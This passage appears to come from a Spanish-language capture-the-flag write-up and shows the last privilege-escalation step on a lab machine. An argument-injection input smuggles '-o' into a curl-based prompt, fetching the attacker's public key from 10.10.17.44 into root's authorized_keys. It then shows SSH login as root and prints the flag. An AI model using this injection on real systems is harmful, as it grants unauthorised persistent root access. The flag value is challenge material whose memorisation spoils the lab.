Enter the IP/file_name:{10.10.17.44/id_rsa.pub,-o,/root/.ssh/authorized_keys}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 553 100 553 0 0 2323 0 --:--:-- --:--:-- --:--:-- 2323
Finalmente, tenemos acceso como root
mediante nuestra clave privada (id_rsa
) y sin contraseña:
$ ssh -i id_rsa root@10.10.11.126
root@code:~# cat root.txt
3eb081061035fcd241f3e389d991f146